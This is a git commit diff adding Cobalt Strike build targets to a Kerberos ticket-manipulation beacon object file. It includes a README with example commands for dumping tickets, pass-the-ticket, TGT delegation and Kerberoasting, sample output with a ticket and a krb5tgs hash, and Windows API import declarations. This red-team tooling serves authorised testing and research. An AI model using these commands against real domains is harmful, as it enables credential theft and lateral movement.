Add CS support

This commit is contained in:
wavvs
2023-04-20 21:01:56 +03:00
parent 1cf0b1b310
commit 17357f2eae
28 changed files with 3230 additions and 1887 deletions
+13 -3
View File
@@ -4,20 +4,22 @@ CC_x86 := i686-w64-mingw32-gcc
STRIP := strip
OPTIONS := -O3 -masm=intel -Wall -Wextra -g -I include -fno-reorder-functions
.PHONY: all exe bof brc4
.PHONY: all exe bof brc4 cs_bof
all: exe_64 bof_64 bof_86 brc4_64 brc4_86
all: exe_64 bof cs_bof brc4
exe: exe_64
bof: bof_64 bof_86
cs_bof: cs_bof_64 cs_bof_86
brc4: brc4_64 brc4_86
exe_64:
$(CC_x64) source/base64.c source/common.c source/klist.c source/luid.c source/ptt.c source/purge.c \
source/sessions.c source/entry.c source/tgtdeleg.c source/krb5.c source/kerberoast.c \
-o dist/$(BOFNAME).x64.exe $(OPTIONS) -l advapi32 -l secur32 \
-o dist/$(BOFNAME).x64.exe $(OPTIONS) -l advapi32 -l secur32 -l ntdll \
-l cryptdll -l msasn1
$(STRIP) --strip-all dist/$(BOFNAME).x64.exe
@@ -29,6 +31,14 @@ bof_86:
$(CC_x86) -c source/entry.c -o dist/$(BOFNAME).x86.o -DBOF $(OPTIONS)
$(STRIP) --strip-unneeded dist/$(BOFNAME).x86.o
cs_bof_64:
$(CC_x64) -c source/entry.c -o dist/$(BOFNAME)_cs.x64.o -DBOF -DCS_BOF $(OPTIONS)
$(STRIP) --strip-unneeded dist/$(BOFNAME)_cs.x64.o
cs_bof_86:
$(CC_x86) -c source/entry.c -o dist/$(BOFNAME)_cs.x86.o -DBOF -DCS_BOF $(OPTIONS)
$(STRIP) --strip-unneeded dist/$(BOFNAME)_cs.x86.o
brc4_64:
$(CC_x64) -c source/entry.c -o dist/$(BOFNAME)_brc4.x64.o -DBRC4 $(OPTIONS)
$(STRIP) --strip-unneeded dist/$(BOFNAME)_brc4.x64.o
+15 -16
View File
@@ -4,25 +4,24 @@ COFF file (BOF) for managing Kerberos tickets.
## Supported agents
* [Sliver](https://github.com/BishopFox/sliver)
* [Brute Ratel](https://bruteratel.com)
* Any other agent supporting Cobalt Strike BOFs (not tested)
* [Cobalt Strike](https://www.cobaltstrike.com)
## Commands
**luid** - get current logon ID
**sessions** *[/luid <0x0>| /all]* - get logon sessions
**sessions** *[/luid:<0x0>| /all]* - get logon sessions
**klist** *[/luid <0x0> | /all]* - list Kerberos tickets
**klist** *[/luid:<0x0> | /all]* - list Kerberos tickets
**dump** *[/luid <0x0> | /all]* - dump Kerberos tickets
**dump** *[/luid:<0x0> | /all]* - dump Kerberos tickets
**ptt** *\<base64\> [/luid <0x0>]* - import Kerberos ticket into a logon session
**ptt** */ticket:\<base64\> [/luid:<0x0>]* - import Kerberos ticket into a logon session
**purge** *[/luid <0x0>]* - purge Kerberos tickets
**purge** *[/luid:<0x0>]* - purge Kerberos tickets
**tgtdeleg** *\<spn\>* - retrieve a usable TGT for the current user
**tgtdeleg** *\/spn:<spn\>* - retrieve a usable TGT for the current user
**kerberoast** *\<spn\>* - perform Kerberoasting against specified SPN
**kerberoast** *\/spn:<spn\>* - perform Kerberoasting against specified SPN
## Examples
Get current logon ID.
@@ -47,7 +46,7 @@ LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : user@fortress.local
```
List Kerberos tickets for the current logon session. When elevated, use `/all` to list tickets from all of the sessions or `/luid 0x0` to list tickets in a specified logon session.
List Kerberos tickets for the current logon session. When elevated, use `/all` to list tickets from all of the sessions or `/luid:0x0` to list tickets in a specified logon session.
```
=> nanorobeus64 klist
@@ -75,7 +74,7 @@ UserPrincipalName : user@fortress.local
Encryption type : AES256_CTS_HMAC_SHA1
...(snip)...
```
Dump tickets from the current logon session. When elevated, use `/all` to dump tickets from all of the sessions or `/luid 0x0` to dump tickets from a specified logon session.
Dump tickets from the current logon session. When elevated, use `/all` to dump tickets from all of the sessions or `/luid:0x0` to dump tickets from a specified logon session.
```
=> nanorobeus64 dump
@@ -103,14 +102,14 @@ UserPrincipalName : user@fortress.local
Encryption type : AES256_CTS_HMAC_SHA1
Ticket : doIFFjCCBRKgAwIBBaEDAgEWooIEGTCCBBVhggQRMIIEDaADAg...(snip)...
```
Import a ticket into the current logon session. When elevated, use `/luid 0x0` to import the ticket into a specified logon session.
Import a ticket into the current logon session. When elevated, use `/luid:0x0` to import the ticket into a specified logon session.
```
=> make_token network fortress.local test pass
=> nanorobeus64 ptt doIFqjCCBaagAwIB...snip...
=> nanorobeus64 ptt /ticket:doIFqjCCBaagAwIB...snip...
[+] Ticket successfully imported.
```
Purge all Kerberos tickets from the current logon session. When elevated, use `/luid 0x0` to purge the tickets from a specified logon session.
Purge all Kerberos tickets from the current logon session. When elevated, use `/luid:0x0` to purge the tickets from a specified logon session.
```
=> nanorobeus64 purge
@@ -118,7 +117,7 @@ Purge all Kerberos tickets from the current logon session. When elevated, use `/
```
Retrieve a usable TGT for the current user.
```
=> nanorobeus64 tgtdeleg cifs/server.fortress.local
=> nanorobeus64 tgtdeleg /spn:cifs/server.fortress.local
[*] Found the AP-REQ delegation ticket in the GSS-API output
[*] Authenticator etype: AES256_CTS_HMAC_SHA1
@@ -128,7 +127,7 @@ Retrieve a usable TGT for the current user.
```
Perform Kerberoasting by specifying SPN:
```
=> nanorobeus64 kerberoast HTTP/server.fortress.local
=> nanorobeus64 kerberoast /spn:HTTP/server.fortress.local
[*] Target SPN: HTTP/server.fortress.local
[+] Hash: $krb5tgs$23$*$FORTRESS.LOCAL$HTTP/server.fortress.local*$ac5e2f4d28fd377...(snip)...
+16 -8
View File
@@ -2,7 +2,8 @@
/* data API */
#include <windows.h>
#ifdef BOF
typedef struct {
typedef struct
{
char *original; /* the original buffer [so we can free it] */
char *buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
@@ -16,7 +17,8 @@ DECLSPEC_IMPORT int BeaconDataLength(datap *parser);
DECLSPEC_IMPORT char *BeaconDataExtract(datap *parser, int *size);
/* format API */
typedef struct {
typedef struct
{
char *original; /* the original buffer [so we can free it] */
char *buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
@@ -56,8 +58,10 @@ DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION *pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char *src, wchar_t *dst, int max);
#define PRINT(dispatch, ...) \
{ BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); }
#define PRINT(dispatch, ...) \
{ \
BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \
}
#elif BRC4
DECLSPEC_IMPORT int BadgerDispatch(WCHAR **dispatch, const char *__format, ...);
DECLSPEC_IMPORT int BadgerDispatchW(WCHAR **dispatch, const WCHAR *__format, ...);
@@ -71,11 +75,15 @@ DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2);
DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2);
DECLSPEC_IMPORT int BadgerAtoi(char *string);
#define PRINT(dispatch, ...) \
{ BadgerDispatch(dispatch, __VA_ARGS__); }
#define PRINT(dispatch, ...) \
{ \
BadgerDispatch(dispatch, __VA_ARGS__); \
}
#else
#define PRINT(dispatch, ...) \
{ fprintf(stdout, __VA_ARGS__); }
#define PRINT(dispatch, ...) \
{ \
fprintf(stdout, __VA_ARGS__); \
}
#endif
+89 -69
View File
@@ -13,15 +13,16 @@
typedef const UNICODE_STRING *PCUNICODE_STRING;
// mimikatz/modules/kull_m_crypto_system.h
typedef NTSTATUS(WINAPI* PKERB_ECRYPT_INITIALIZE) (LPCVOID Key, DWORD KeySize, DWORD KeyUsage, PVOID* pContext);
typedef NTSTATUS(WINAPI* PKERB_ECRYPT_ENCRYPT) (PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD* OutputSize);
typedef NTSTATUS(WINAPI* PKERB_ECRYPT_DECRYPT) (PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD* OutputSize);
typedef NTSTATUS(WINAPI* PKERB_ECRYPT_FINISH) (PVOID* pContext);
typedef NTSTATUS(WINAPI* PKERB_ECRYPT_HASHPASSWORD_NT5) (PCUNICODE_STRING String, PVOID Output);
typedef NTSTATUS(WINAPI* PKERB_ECRYPT_HASHPASSWORD_NT6) (PCUNICODE_STRING Password, PCUNICODE_STRING Salt, DWORD Count, PVOID Output);
typedef NTSTATUS(WINAPI* PKERB_ECRYPT_RANDOMKEY) (LPCVOID Key, DWORD KeySize, PVOID Output);
typedef NTSTATUS(WINAPI *PKERB_ECRYPT_INITIALIZE)(LPCVOID Key, DWORD KeySize, DWORD KeyUsage, PVOID *pContext);
typedef NTSTATUS(WINAPI *PKERB_ECRYPT_ENCRYPT)(PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD *OutputSize);
typedef NTSTATUS(WINAPI *PKERB_ECRYPT_DECRYPT)(PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD *OutputSize);
typedef NTSTATUS(WINAPI *PKERB_ECRYPT_FINISH)(PVOID *pContext);
typedef NTSTATUS(WINAPI *PKERB_ECRYPT_HASHPASSWORD_NT5)(PCUNICODE_STRING String, PVOID Output);
typedef NTSTATUS(WINAPI *PKERB_ECRYPT_HASHPASSWORD_NT6)(PCUNICODE_STRING Password, PCUNICODE_STRING Salt, DWORD Count, PVOID Output);
typedef NTSTATUS(WINAPI *PKERB_ECRYPT_RANDOMKEY)(LPCVOID Key, DWORD KeySize, PVOID Output);
typedef struct _KERB_ECRYPT {
typedef struct _KERB_ECRYPT
{
LONG Type0;
DWORD BlockSize;
LONG Type1;
@@ -34,7 +35,8 @@ typedef struct _KERB_ECRYPT {
PKERB_ECRYPT_ENCRYPT Encrypt;
PKERB_ECRYPT_DECRYPT Decrypt;
PKERB_ECRYPT_FINISH Finish;
union {
union
{
PKERB_ECRYPT_HASHPASSWORD_NT5 HashPassword_NT5;
PKERB_ECRYPT_HASHPASSWORD_NT6 HashPassword_NT6;
};
@@ -43,14 +45,25 @@ typedef struct _KERB_ECRYPT {
PVOID unk0_null;
PVOID unk1_null;
PVOID unk2_null;
} KERB_ECRYPT, * PKERB_ECRYPT;
} KERB_ECRYPT, *PKERB_ECRYPT;
typedef struct ANSI_STRING
{
USHORT Length;
USHORT MaximumLength;
PCHAR Buffer;
} ANSI_STRING, *PANSI_STRING;
#if defined(BOF) || defined(BRC4)
// ntdll
WINBASEAPI NTSTATUS NTAPI NTDLL$RtlUnicodeStringToAnsiString(PANSI_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString);
WINBASEAPI void NTAPI NTDLL$RtlFreeAnsiString(PANSI_STRING AnsiString);
// kernel32
WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID);
WINBASEAPI VOID WINAPI KERNEL32$SetLastError(DWORD dwErrCode);
WINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime(CONST FILETIME* lpFileTime, LPSYSTEMTIME lpSystemTime);
WINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime(CONST FILETIME *lpFileTime, LPSYSTEMTIME lpSystemTime);
WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
WINBASEAPI WINBOOL WINAPI KERNEL32$Process32FirstW(HANDLE hSnapshot, LPPROCESSENTRY32W lppe);
WINBASEAPI WINBOOL WINAPI KERNEL32$Process32NextW(HANDLE hSnapshot, LPPROCESSENTRY32W lppe);
@@ -58,26 +71,30 @@ WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);
WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);
// msvcrt
WINBASEAPI void* __cdecl MSVCRT$calloc(size_t num, size_t size);
WINBASEAPI void __cdecl MSVCRT$free(void* memblock);
WINBASEAPI long __cdecl MSVCRT$strtol(const char* string, char** end_ptr, int base);
WINBASEAPI void __cdecl MSVCRT$memset(void* dest, int c, size_t count);
WINBASEAPI size_t __cdecl MSVCRT$wcstombs(char* mbstr, const wchar_t* wcstr, size_t count);
WINBASEAPI size_t __cdecl MSVCRT$mbstowcs(wchar_t* __restrict__ _Dest, const char* __restrict__ _Source,
WINBASEAPI void *__cdecl MSVCRT$calloc(size_t num, size_t size);
WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
WINBASEAPI long __cdecl MSVCRT$strtol(const char *string, char **end_ptr, int base);
WINBASEAPI size_t __cdecl MSVCRT$mbstowcs(wchar_t *__restrict__ _Dest, const char *__restrict__ _Source,
size_t _MaxCount);
WINBASEAPI void *__cdecl MSVCRT$malloc(size_t size);
WINBASEAPI int __cdecl MSVCRT$_vsnprintf(char *buffer, size_t count, const char *format, va_list argptr);
WINBASEAPI int __cdecl MSVCRT$_snprintf(char *buffer, size_t count, const char *format, ...);
// cryptdll
WINBASEAPI NTSTATUS WINAPI CRYPTDLL$CDLocateCSystem(LONG type, PKERB_ECRYPT *pCSystem);
// advapi32
WINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass,
LPVOID TokenInformation, DWORD TokenInformationLength,
PDWORD ReturnLength);
WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidW(PSID Sid, LPWSTR* StringSid);
WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidA(PSID Sid, LPSTR *StringSid);
WINADVAPI WINBOOL WINAPI ADVAPI32$AllocateAndInitializeSid(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority,
BYTE nSubAuthorityCount, DWORD nSubAuthority0,
DWORD nSubAuthority1, DWORD nSubAuthority2,
DWORD nSubAuthority3, DWORD nSubAuthority4,
DWORD nSubAuthority5, DWORD nSubAuthority6,
DWORD nSubAuthority7, PSID* pSid);
DWORD nSubAuthority7, PSID *pSid);
WINADVAPI WINBOOL WINAPI ADVAPI32$EqualSid(PSID pSid1, PSID pSid2);
WINADVAPI PVOID WINAPI ADVAPI32$FreeSid(PSID pSid);
WINADVAPI WINBOOL WINAPI ADVAPI32$DuplicateToken(HANDLE ExistingTokenHandle,
@@ -94,81 +111,83 @@ WINADVAPI WINBOOL WINAPI ADVAPI32$OpenThreadToken(HANDLE ThreadHandle, DWORD Des
PHANDLE TokenHandle);
WINADVAPI WINBOOL WINAPI ADVAPI32$CheckTokenMembership(HANDLE TokenHandle, PSID SidToCheck, PBOOL IsMember);
#ifndef CS_BOF
// secur32
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaGetLogonSessionData(PLUID LogonId,
PSECURITY_LOGON_SESSION_DATA* ppLogonSessionData);
PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData);
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaFreeReturnBuffer(PVOID Buffer);
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaEnumerateLogonSessions(PULONG LogonSessionCount, PLUID* LogonSessionList);
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaEnumerateLogonSessions(PULONG LogonSessionCount, PLUID *LogonSessionList);
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaRegisterLogonProcess(PLSA_STRING LogonProcessName, PHANDLE LsaHandle,
PLSA_OPERATIONAL_MODE SecurityMode);
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaLookupAuthenticationPackage(HANDLE LsaHandle, PLSA_STRING PackageName,
PULONG AuthenticationPackage);
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaCallAuthenticationPackage(HANDLE LsaHandle, ULONG AuthenticationPackage,
PVOID ProtocolSubmitBuffer, ULONG SubmitBufferLength,
PVOID* ProtocolReturnBuffer, PULONG ReturnBufferLength,
PVOID *ProtocolReturnBuffer, PULONG ReturnBufferLength,
PNTSTATUS ProtocolStatus);
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaDeregisterLogonProcess(HANDLE LsaHandle);
WINBASEAPI NTSTATUS WINAPI SECUR32$LsaConnectUntrusted(PHANDLE LsaHandle);
WINBASEAPI SECURITY_STATUS WINAPI SECUR32$AcquireCredentialsHandleA(SEC_CHAR* pszPrincipal, SEC_CHAR* pszPackage,
unsigned __LONG32 fCredentialUse, void* pvLogonId,
void* pAuthData, SEC_GET_KEY_FN pGetKeyFn,
void* pvGetKeyArgument, PCredHandle phCredential,
WINBASEAPI SECURITY_STATUS WINAPI SECUR32$AcquireCredentialsHandleA(SEC_CHAR *pszPrincipal, SEC_CHAR *pszPackage,
unsigned __LONG32 fCredentialUse, void *pvLogonId,
void *pAuthData, SEC_GET_KEY_FN pGetKeyFn,
void *pvGetKeyArgument, PCredHandle phCredential,
PTimeStamp ptsExpiry);
WINBASEAPI SECURITY_STATUS WINAPI SECUR32$InitializeSecurityContextA(
PCredHandle phCredential, PCtxtHandle phContext, SEC_CHAR* pszTargetName, unsigned __LONG32 fContextReq,
PCredHandle phCredential, PCtxtHandle phContext, SEC_CHAR *pszTargetName, unsigned __LONG32 fContextReq,
unsigned __LONG32 Reserved1, unsigned __LONG32 TargetDataRep, PSecBufferDesc pInput, unsigned __LONG32 Reserved2,
PCtxtHandle phNewContext, PSecBufferDesc pOutput, unsigned __LONG32* pfContextAttr, PTimeStamp ptsExpiry);
WINBASEAPI SECURITY_STATUS WINAPI SECUR32$FreeContextBuffer(void* pvContextBuffer);
PCtxtHandle phNewContext, PSecBufferDesc pOutput, unsigned __LONG32 *pfContextAttr, PTimeStamp ptsExpiry);
WINBASEAPI SECURITY_STATUS WINAPI SECUR32$FreeContextBuffer(void *pvContextBuffer);
KSECDDDECLSPEC SECURITY_STATUS WINAPI SECUR32$DeleteSecurityContext(PCtxtHandle phContext);
KSECDDDECLSPEC SECURITY_STATUS WINAPI SECUR32$FreeCredentialsHandle(PCredHandle phCredential);
// cryptdll
WINBASEAPI NTSTATUS WINAPI CRYPTDLL$CDLocateCSystem(LONG type, PKERB_ECRYPT* pCSystem);
// msasn1
WINBASEAPI ASN1module_t ASN1API MSASN1$ASN1_CreateModule(ASN1uint32_t nVersion, ASN1encodingrule_e eRule, ASN1uint32_t dwFlags,
ASN1uint32_t cPDU, const ASN1GenericFun_t apfnEncoder[],
const ASN1GenericFun_t apfnDecoder[],
const ASN1FreeFun_t apfnFreeMemory[], const ASN1uint32_t acbStructSize[],
ASN1magic_t nModuleName);
ASN1uint32_t cPDU, const ASN1GenericFun_t apfnEncoder[],
const ASN1GenericFun_t apfnDecoder[],
const ASN1FreeFun_t apfnFreeMemory[], const ASN1uint32_t acbStructSize[],
ASN1magic_t nModuleName);
WINBASEAPI void ASN1API MSASN1$ASN1_CloseModule(ASN1module_t pModule);
WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_CreateEncoder(ASN1module_t pModule, ASN1encoding_t* ppEncoderInfo, ASN1octet_t* pbBuf,
ASN1uint32_t cbBufSize, ASN1encoding_t pParent);
WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_Encode(ASN1encoding_t pEncoderInfo, void* pDataStruct, ASN1uint32_t nPduNum,
ASN1uint32_t dwFlags, ASN1octet_t* pbBuf, ASN1uint32_t cbBufSize);
WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_CreateEncoder(ASN1module_t pModule, ASN1encoding_t *ppEncoderInfo, ASN1octet_t *pbBuf,
ASN1uint32_t cbBufSize, ASN1encoding_t pParent);
WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_Encode(ASN1encoding_t pEncoderInfo, void *pDataStruct, ASN1uint32_t nPduNum,
ASN1uint32_t dwFlags, ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize);
WINBASEAPI void ASN1API MSASN1$ASN1_CloseEncoder(ASN1encoding_t pEncoderInfo);
WINBASEAPI void ASN1API MSASN1$ASN1_FreeEncoded(ASN1encoding_t pEncoderInfo, void* pBuf);
WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_CreateDecoder(ASN1module_t pModule, ASN1decoding_t* ppDecoderInfo, ASN1octet_t* pbBuf,
ASN1uint32_t cbBufSize, ASN1decoding_t pParent);
WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_Decode(ASN1decoding_t pDecoderInfo, void** ppDataStruct, ASN1uint32_t nPduNum,
ASN1uint32_t dwFlags, ASN1octet_t* pbBuf, ASN1uint32_t cbBufSize);
WINBASEAPI void ASN1API MSASN1$ASN1_FreeEncoded(ASN1encoding_t pEncoderInfo, void *pBuf);
WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_CreateDecoder(ASN1module_t pModule, ASN1decoding_t *ppDecoderInfo, ASN1octet_t *pbBuf,
ASN1uint32_t cbBufSize, ASN1decoding_t pParent);
WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_Decode(ASN1decoding_t pDecoderInfo, void **ppDataStruct, ASN1uint32_t nPduNum,
ASN1uint32_t dwFlags, ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize);
WINBASEAPI void ASN1API MSASN1$ASN1_CloseDecoder(ASN1decoding_t pDecoderInfo);
WINBASEAPI void ASN1API MSASN1$ASN1_FreeDecoded(ASN1decoding_t pDecoderInfo, void* pDataStruct, ASN1uint32_t nPduNum);
WINBASEAPI void ASN1API MSASN1$ASN1bitstring_free(ASN1bitstring_t*);
WINBASEAPI void ASN1API MSASN1$ASN1_FreeDecoded(ASN1decoding_t pDecoderInfo, void *pDataStruct, ASN1uint32_t nPduNum);
WINBASEAPI void ASN1API MSASN1$ASN1bitstring_free(ASN1bitstring_t *);
WINBASEAPI void ASN1API MSASN1$ASN1ztcharstring_free(ASN1ztcharstring_t);
WINBASEAPI void ASN1API MSASN1$ASN1octetstring_free(ASN1octetstring_t*);
WINBASEAPI void ASN1API MSASN1$ASN1intx_free(ASN1intx_t*);
WINBASEAPI void ASN1API MSASN1$ASN1octetstring_free(ASN1octetstring_t *);
WINBASEAPI void ASN1API MSASN1$ASN1intx_free(ASN1intx_t *);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecExplicitTag(ASN1decoding_t dec, ASN1uint32_t tag, ASN1decoding_t* dd, ASN1octet_t** di);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecS32Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1int32_t*);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecEndOfContents(ASN1decoding_t dec, ASN1decoding_t dd, ASN1octet_t* di);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecBitString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1bitstring_t*);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecZeroCharString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1ztcharstring_t*);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecPeekTag(ASN1decoding_t dec, ASN1uint32_t* tag);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecOctetString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1octetstring_t* val);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecNotEndOfContents(ASN1decoding_t dec, ASN1octet_t* di);
WINBASEAPI void* ASN1API MSASN1$ASN1DecAlloc(ASN1decoding_t dec, ASN1uint32_t size);
WINBASEAPI void* ASN1API MSASN1$ASN1DecRealloc(ASN1decoding_t dec, void* ptr, ASN1uint32_t size);
WINBASEAPI void ASN1API MSASN1$ASN1Free(void* ptr);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecGeneralizedTime(ASN1decoding_t dec, ASN1uint32_t tag, ASN1generalizedtime_t*);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecSXVal(ASN1decoding_t dec, ASN1uint32_t tag, ASN1intx_t*);
WINBASEAPI int ASN1API MSASN1$ASN1BEREncExplicitTag(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t* pLengthOffset);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecExplicitTag(ASN1decoding_t dec, ASN1uint32_t tag, ASN1decoding_t *dd, ASN1octet_t **di);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecS32Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1int32_t *);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecEndOfContents(ASN1decoding_t dec, ASN1decoding_t dd, ASN1octet_t *di);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecBitString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1bitstring_t *);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecZeroCharString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1ztcharstring_t *);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecPeekTag(ASN1decoding_t dec, ASN1uint32_t *tag);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecOctetString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1octetstring_t *val);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecNotEndOfContents(ASN1decoding_t dec, ASN1octet_t *di);
WINBASEAPI void *ASN1API MSASN1$ASN1DecAlloc(ASN1decoding_t dec, ASN1uint32_t size);
WINBASEAPI void *ASN1API MSASN1$ASN1DecRealloc(ASN1decoding_t dec, void *ptr, ASN1uint32_t size);
WINBASEAPI void ASN1API MSASN1$ASN1Free(void *ptr);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecGeneralizedTime(ASN1decoding_t dec, ASN1uint32_t tag, ASN1generalizedtime_t *);
WINBASEAPI int ASN1API MSASN1$ASN1BERDecSXVal(ASN1decoding_t dec, ASN1uint32_t tag, ASN1intx_t *);
WINBASEAPI int ASN1API MSASN1$ASN1BEREncExplicitTag(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t *pLengthOffset);
WINBASEAPI int ASN1API MSASN1$ASN1BEREncS32(ASN1encoding_t enc, ASN1uint32_t tag, ASN1int32_t);
WINBASEAPI int ASN1API MSASN1$ASN1BEREncEndOfContents(ASN1encoding_t enc, ASN1uint32_t LengthOffset);
WINBASEAPI int ASN1API MSASN1$ASN1DEREncCharString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1char_t* val);
WINBASEAPI int ASN1API MSASN1$ASN1DEREncOctetString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1octet_t* val);
WINBASEAPI int ASN1API MSASN1$ASN1DEREncCharString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1char_t *val);
WINBASEAPI int ASN1API MSASN1$ASN1DEREncOctetString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1octet_t *val);
#endif
#else
__declspec(dllimport) NTSTATUS WINAPI CDLocateCSystem(LONG type, PKERB_ECRYPT* pCSystem);
__declspec(dllimport) NTSTATUS WINAPI CDLocateCSystem(LONG type, PKERB_ECRYPT *pCSystem);
#define NTDLL$RtlUnicodeStringToAnsiString RtlUnicodeStringToAnsiString
#define NTDLL$RtlFreeAnsiString RtlFreeAnsiString
#define KERNEL32$GetLastError GetLastError
#define KERNEL32$SetLastError SetLastError
@@ -179,16 +198,17 @@ __declspec(dllimport) NTSTATUS WINAPI CDLocateCSystem(LONG type, PKERB_ECRYPT* p
#define KERNEL32$CloseHandle CloseHandle
#define KERNEL32$OpenProcess OpenProcess
#define MSVCRT$wcstombs wcstombs
#define MSVCRT$strtol strtol
#define MSVCRT$calloc calloc
#define MSVCRT$malloc malloc
#define MSVCRT$free free
#define MSVCRT$memset memset
#define MSVCRT$mbstowcs mbstowcs
#define MSVCRT$_vsnprintf _vsnprintf
#define MSVCRT$_snprintf _snprintf
#define ADVAPI32$OpenProcessToken OpenProcessToken
#define ADVAPI32$GetTokenInformation GetTokenInformation
#define ADVAPI32$ConvertSidToStringSidW ConvertSidToStringSidW
#define ADVAPI32$ConvertSidToStringSidA ConvertSidToStringSidA
#define ADVAPI32$AllocateAndInitializeSid AllocateAndInitializeSid
#define ADVAPI32$EqualSid EqualSid
#define ADVAPI32$FreeSid FreeSid
+18 -11
View File
@@ -4,6 +4,8 @@
#include <ntsecapi.h>
#include <stdlib.h>
#include <tlhelp32.h>
#define STRSAFE_NO_DEPRECATE
#include <strsafe.h>
#include "beacon.h"
#include "bofdefs.h"
@@ -11,12 +13,14 @@
#define STATUS_MEMORY_NOT_ALLOCATED ((NTSTATUS)0xC00000A0L)
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) == 0)
typedef struct _LOGON_SESSION_DATA {
PSECURITY_LOGON_SESSION_DATA* sessionData;
typedef struct _LOGON_SESSION_DATA
{
PSECURITY_LOGON_SESSION_DATA *sessionData;
ULONG sessionCount;
} LOGON_SESSION_DATA, PLOGON_SESSION_DATA;
enum KERB_ETYPE {
enum KERB_ETYPE
{
DES_CBC_CRC = 1,
DES_CBC_MD4 = 2,
DES_CBC_MD5 = 3,
@@ -38,19 +42,22 @@ enum KERB_ETYPE {
};
HANDLE GetCurrentToken(DWORD DesiredAccess);
char* GetEncryptionTypeString(LONG encType);
void GetEncryptionTypeString(LONG encType, char **encTypeString);
SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li);
BOOL IsHighIntegrity();
BOOL IsSystem();
NTSTATUS GetLsaHandle(BOOL highIntegrity, HANDLE* hLsa);
int GetProcessIdByName(WCHAR* processName);
NTSTATUS GetLsaHandle(BOOL highIntegrity, HANDLE *hLsa);
int GetProcessIdByName(WCHAR *processName);
BOOL ElevateToSystem();
char* GetNarrowString(WCHAR* src);
char* GetNarrowStringFromUnicode(UNICODE_STRING src);
WCHAR* GetWideString(char* src);
